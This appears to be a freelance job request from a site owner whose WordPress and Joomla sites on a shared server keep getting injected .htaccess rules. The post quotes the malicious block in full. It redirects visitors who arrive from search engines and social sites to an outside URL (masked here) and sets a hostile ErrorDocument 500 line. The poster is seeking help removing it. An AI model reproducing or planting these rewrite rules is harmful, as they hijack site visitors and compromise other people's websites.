Redirection hacks on shared server

Some of my websites will redirect to [login to view URL] top page when accessed through Google search. They display correctly when access directly. I found that added on my .htaccess : <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*) RewriteRule ^(.*)$ [login to view URL] [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ [login to view URL] [R=301,L] </IfModule> And on the end of the file this: ErrorDocument 500 [login to view URL] Even if I delete those they would reappear in a random range of time... If there is no previous .htaccess then a new one is created with the content, if there is a .htaccess, some redirecting content is simply added. I have +-25 sites running on this server, they are almost all affected by those symptoms. (Wordpress or Joomla) I know some installation are not up to date, so I need a quick fix to begin with. I'm available for questions. Please know your stuff before bidding. Thanks for reading.